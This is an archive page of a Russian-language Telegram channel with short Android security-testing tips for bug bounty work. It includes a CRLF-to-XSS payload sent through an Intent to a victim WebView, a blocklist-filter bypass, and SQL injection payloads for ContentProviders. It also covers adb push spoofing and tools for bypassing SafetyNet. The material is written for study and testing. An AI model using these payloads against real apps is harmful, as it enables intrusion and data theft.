en
Feedback
Android Guards

Android Guards

Open in Telegram

Статьи, исследования, полезные ссылки и многое другое из мира безопасности Android платформы и приложений. Только проверенный контент! YouTube: https://www.youtube.com/c/AndroidGuards

Show more
3 790
Subscribers
+324 hours
+57 days
+1230 days
Posts Archive
Продолжая тему фильтров стоит сказать про более сложный в эксплуатации вариант - фильтрация по белому списку. Приложение може
Продолжая тему фильтров стоит сказать про более сложный в эксплуатации вариант - фильтрация по белому списку. Приложение может принимать только заданный список доменов и отклонять все остальные. Но варианты эксплуатации есть и в этом случае. Нужно сместить фокус внимания на список разрешенных доменов и искать проблемы уже в них. Допустим мы хотим грузить произвольный контент в WebView. В этом случае может помочь найденная на одном из доменов белого списка уязвимость CRLF. Чаще всего ее можно трансформировать в возможность внедрения произвольного HTML, а там уже и XSS и все остальные приятные штуки с этим связанные. Сам эксплойт может выглядеть как-то так:
val payload = "%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e"  
  
val i = Intent().apply {  
    setClassName("com.app.victim", "com.app.victim.WebViewActivity")  
    putExtra("url", "https://whitelisted.victim.com/$payload")  
} 
  
startActivity(i)
Подробнее: раз, два. #aht

Умение обходить фильтры - очень важный навык. Обычно он складывается из двух компонентов: развитого аналитического мышления и
Умение обходить фильтры - очень важный навык. Обычно он складывается из двух компонентов: развитого аналитического мышления и знания трюков. Сегодня будут трюки. Представим себе такой синтетический фильтр:
val input = "http://evil.com"

val filter = """^(https?)://.*@?evil\..+""".toRegex()

if (filter.matches(input)) {
  throw MalformedURLException("Banned URL!")
}

val okhttp = OkHttpClient()
val req = Request.Builder().url(URL(input)).build()

Есть мысли как его обойти? Подумайте 30 секунд. Один из способов - модифицировать input любым из этих способов: - url:http://evil.com - http://evil.com (первый символ - пробел) Но проверка по черному списку встречается все реже. Кажется, что разработчики начинают что-то подозревать 😰 #aht

Порой очень хочется поработать с т.н. "скрытым" API в Android. Есть несколько способов дотянуться до этой возможности. Самый
Порой очень хочется поработать с т.н. "скрытым" API в Android. Есть несколько способов дотянуться до этой возможности. Самый простой - включить эту настройку через adb с помощью команды: adb shell settings put global hidden_api_policy 1. Но это может не сработать, и getDeclaredMethod будет падать с ошибкой. Тогда на помощь приходит вот такой трюк:
java
val parcel = Parcel.obtain()  
val writeString8 = parcel::class.java.declaredMethods.filter { it.name == "writeString8" }[0]
writeString8.invoke(parcel,scheme)
Здесь метод writeString8 получается не напрямую, а через поиск по коллекции методов. Кому интересно почему это работает - смотрите исходники. #aht

Перехват трафика приложений на Xamarin выглядит довольно изученной темой. Но так выглядит ровно до тех пор пока не сталкиваеш
Перехват трафика приложений на Xamarin выглядит довольно изученной темой. Но так выглядит ровно до тех пор пока не сталкиваешься со странностями из-за которых почему-то ничего не работает как нужно. Про перехват трафика я уже писал большую статью, и если у вас что-то не получается с перехватом, то лучше обратиться к ней. Но базовый алгоритм для Xamarin я все же напишу здесь: 1. Сбросить все настройки прокси, которые были сделаны до этого (wifi или глобальный). Смартфон должен иметь чистый доступ к интернету. 2. Убедиться, что все MITM-сертификаты установлены корректно как в пользовательское, так и в системное хранилище. А лучше накатить их заново выгрузив из текущей версии burp. 3. В настройках прокси, в burp, выставить галочку Support invisible proxy (во вкладке Request handling) 4. Закинуть на смартфон этот скрипт, зайти в adb под root-ом и выполнить его. Если ничего не заработало, то путь самурая начинается здесь...

Там ребята опять собираются делать Standoff Hacks в ноябре, и, по уже сложившейся традиции объявили конкурс чтобы на мероприя
Там ребята опять собираются делать Standoff Hacks в ноябре, и, по уже сложившейся традиции объявили конкурс чтобы на мероприятие попали не только известные (и всем надоевшие!) личности, но и свежая кровь. Всего есть 6 инвайтов и 1 бонусный. Все условия читайте здесь, повторяться не хочу. От себя добавлю, что мероприятие действительно крутое. Позволяет очень сильно подумать мозгами и посоревноваться с очень толковыми людьми. Я был на двух прошлых, и впечатления исключительно положительные. Вопрос: какого Фрейда ты пишешь это в канале про мобилки? Ответ: что на первом, что на втором хаксе в скоупе были мобилки. Очень много мобилок. Не за все из них платили хорошо и местами мне приходилось сильно бодаться с триажерами, но все равно это очень полезный и интересный опыт. Давайте уже развивать мобильное багбаунти, а то все веб да веб... P.S. А на этот хакс меня пока не позвали... Видимо придется в конкурсе участвовать 🌚

Современные приложения на Xamarin хранят dll-ки в XABA архиве, который лежит в ресурсах приложения в по пути assemblies/assem
Современные приложения на Xamarin хранят dll-ки в XABA архиве, который лежит в ресурсах приложения в по пути assemblies/assemblies.blob (могут быть также разделены по архитектурам). Там же рядом лежит assemblies.manifest с списком всех сборок. Для того чтобы извлечь все сборки в виде dll-файлов и спокойно реверсить, можно воспользоваться утилитой pyxamstore. Она также умеет собирать все обратно. #aht

Начиная с Java 9 стал доступен инструмент JShell. Фактически это такой же REPL как в python или других языках, но только для
Начиная с Java 9 стал доступен инструмент JShell. Фактически это такой же REPL как в python или других языках, но только для Java. И это весьма удобная штука. Особенно когда в приложениях попадаются конструкции вида Class a = Class.forName(new String(new byte[]{106,97,118,97,46,108,97,110,103,46,83,116,114,105,110,103})); и нужно быстро понять что это за класс вообще. Да, эти байтики можно разобрать чем угодно. А если там используется какая-то специфика Java, которую не всегда просто переложить на другие языки? Подобные механизмы защиты также могут включать в себя отдельные библиотеки в виде jar-файлов и все это сильно усложнит вам жизнь при попытке разобрать это в каком-нибудь питоне. А в jshell можно просто закидывать java-код и играть с ним как душе угодно. Сторонние jar-ники также можно подкидывать через параметры команды, и вообще посмотрите на выдачу jshell -h, там есть интересные опции. #aht

В приложениях часто можно найти dev/stage сервера, которые используются на этапе разработки. Если повезло, то в приложении та
В приложениях часто можно найти dev/stage сервера, которые используются на этапе разработки. Если повезло, то в приложении также есть дебаг-панель позволяющая удобно переключаться между этими серверами, что неплохо расширяет поверхность атаки. Но если дебаг-панели нет или она по каким-то причинам недоступна, то переключить приложение на такой сервер можно прямо в BurpSuite. Идем в настройки proxy, выбираем вкладку Request handling и в поле Redirect to host указываем адрес нужного сервера. Все. Ничего не надо пересобирать и заниматься прочей ерундой. Способ не идеален, т.к. приложение может ходить на несколько серверов сразу, но в большинстве случаев этот подход здорово экономит время. #aht

Часто ли разработчики полностью переходят в информационную безопасность? Случается 😉 Набросал немного своих мыслей на этот счет и попытался показать альтернативный путь развития для уже состоявшихся разработчиков. Приятного чтения!

В экосистемах приложений часто встречается такая практика как кастомные разрешения. Некое "главное" приложение объявляет разр
В экосистемах приложений часто встречается такая практика как кастомные разрешения. Некое "главное" приложение объявляет разрешение вроде my.cool.app.READ_STORAGE. чтобы другие приложения из той же экосистемы могли его использовать. Если protectionLevel такого разрешения пустой или выставлен в normal, то все круто - берем и пользуемся. Но чаще всего там стоит signature, что уже является некоторой проблемой. Но signature - не приговор! У нас же экосистема! А значит довольно большая поверхность атаки. Первое, что надо сделать - найти все приложения, которые запрашивают это разрешение. Самый простой и незамысловатый способ получить эту информацию - drozer. Ставим все приложения вендора на девайс, подключаемся и выполняем команду run app.package.list -p my.cool.app.READ_STORAGE. В ответ получаем список приложений которые нужно взломать чтобы получить заветные права. #aht

Если попалось приложение с библиотекой Navigation от Google, то можно очень быстро найти все диплинки, которые обрабатывает п
Если попалось приложение с библиотекой Navigation от Google, то можно очень быстро найти все диплинки, которые обрабатывает приложение. Для этого ищем по ключевому слову <deepLink и получаем красивый список со всеми параметрами и типами данных. Но этот фокус работает только если навигация реализована в XML файлах. А так бывает не всегда, и некоторые особо увлеченные разработчики делают все в коде. #aht

Иногда можно столкнуться с такой неприятной вещь как TLS Fingerprint, но еще более неприятно, когда провал проверки сопровожд
Иногда можно столкнуться с такой неприятной вещь как TLS Fingerprint, но еще более неприятно, когда провал проверки сопровождается многочасовым баном. Бороться с этим можно несколькими способами. 1. Использовать расширение Awesome TLS для Burp Suite. Там можно даже выставить кастомный fingerprint чтобы все было совсем хорошо. Но расширение работает весьма неторопливо и не всегда стабильно 2. Перехватывать трафик прямо на устройстве через PCAPDroid и перенаправлять его куда-то еще. Пример для Wireshark: curl -NLs http://192.168.1.12:8080 | Wireshark -k -i - 3. Также иногда с этим справляется Charles, но это не точно. А если вам просто нужно отправить какой-то запрос на хост и не спалиться по фингерпринту, то можно попробовать использовать curl прямо в консоли девайса. #aht

SQL инъекции в Android приложениях можно встретить не часто. Причин тому много. Разработчики поумнели, Google со своим Room-о
SQL инъекции в Android приложениях можно встретить не часто. Причин тому много. Разработчики поумнели, Google со своим Room-ом подтянулся. Так недолго и забыть как инъекции вообще эксплуатируются. Вот пара типичных пейлоадов для ContentProvider-ов: 💉 * from sqlite_master where type='table'-- (для projection) 💉 1=1) union select name,2,3,4,5,6,7 from sqlite_master where type='table'-- (для selection/where) А по ссылке можно найти чуть более экзотические варианты, которые подойдут для более сложных случаев. #aht

Если в приложении используется SQLCipher, то посмотреть содержимое БД без пароля будет невозможно. Но даже если пароль удалос
Если в приложении используется SQLCipher, то посмотреть содержимое БД без пароля будет невозможно. Но даже если пароль удалось добыть, то базу на этом пароле еще надо расшифровать. С этой задачей легко справляется SQLiteStudio. Добавляем новую базу, в диалоге добавления выставляем Database type как SQLCipher, пишем пароль и все магическим образом открывается. #aht

С вашего позволения, я не буду редачить стрим и вырезать оттуда некоторые проблемы со связью которые были в начале. Желающие посмотреть - промотайте +5 минут и дальше будет ок. Благодарю всех кто пришел и задавал вопросы. Актуальная ссылка: https://www.youtube.com/watch?v=DAHdYrSIhp8

⚡️Внезапная, общеобразовательная активность на канале! Завтра (27.07), в 19:00 (MSK) проведем стрим про уязвимости в Android приложениях. Цель - покрыть вот эти топики: - какие вообще бывают уязвимости - что можно считать валидной уязвимостью, а что нет - как повышать импакт от пустяковых с виду уязвимостей - почему некоторые вендоры так неохотно принимают "мобильные" баги Как обычно - половина пользы от таких мероприятий это толковые вопросы из зрительного зала. Поэтому приходите их задавать.

@N2R2D2 уже какое-то время пилит штуку для обхода проверок SafetyNet и Play Integrity API. Проблема в общем-то в том, что DroidGuard, который обеспечивает прохождение этих проверок нельзя так просто взять и завести везде где хочется. Собственно проект и состоит в том, чтобы сделать серверную эмуляцию DroidGuard VM и реализовать инструмент способный патчить локальные хэндлеры для прохождения всех проверок. Пока это все в активной приватной разработке, но в какой-то момент, по заверениям автора, должен появится репозиторий со всеми кишками. Если кто-то хочет помочь в разработке или просто поздавать вопросы, то пишите автору в тг.

При исследование системного, а также всякого специфического софта под Android, бывает что классы которые использует приложени
При исследование системного, а также всякого специфического софта под Android, бывает что классы которые использует приложение, физически в нем отсутствуют. В этом случае их стоит поискать внутри /system/framework/framework.jar и обычно этого достаточно. Если не повезло, то путь получится более длинным. Любыми доступными способами выполняем команду env и смотрим на jar-ники в переменных DEX2OATBOOTCLASSPATH, BOOTCLASSPATH, SYSTEMSERVERCLASSPATH. Класс должен найтись в одном из них. #aht

Вокруг много всякой IoT-ни c bluetooth, которая может быть поломана протестирована на безопасность одним пакетом =) Можно исп
Вокруг много всякой IoT-ни c bluetooth, которая может быть поломана протестирована на безопасность одним пакетом =) Можно использовать штуки вроде BIAS, но это же надо пейпер читать. Есть способ проще - ставим приложение nRF Connect (no.nordicsemi.android.mcp) и начинаем экспериментировать с BT устройствами вокруг. Оно позволяет писать и читать GATT характеристики. ⚠️ Пара моментов: 1. Запись некорректных значений в характеристику может потенциально испортить устройство 2. Заигрывание с чужими устройствами может привести к уголовной ответственности, поэтому не ломайте чужие умные розетки. Только свои!

Приложение может вести себя по-разному в зависимости от приходящих push-сообщений. Это может быть какая-то особая реакция на
Приложение может вести себя по-разному в зависимости от приходящих push-сообщений. Это может быть какая-то особая реакция на скрытый параметр, который в обычной ситуации никогда не присылается, а оставлен только для разработчиков. Или оно может переключатся в другой режим работы при получении какой-то особой полезной нагрузки. Чтобы быстро и без заморочек протестировать все эти варианты можно использовать локальную отправку пушей приложению через adb команду adb shell su -c "am broadcast -a com.google.android.c2dm.intent.RECEIVE -n chat.rocket.whitelabel/com.google.firebase.iid.FirebaseInstanceIdReceiver --es "param1" "payload1" --ez "param2" true. Она позволит быстро проверить все гипотезы и освободить время на поиск уязвимости на отправку произвольных пушей целевому приложению 😉 #aht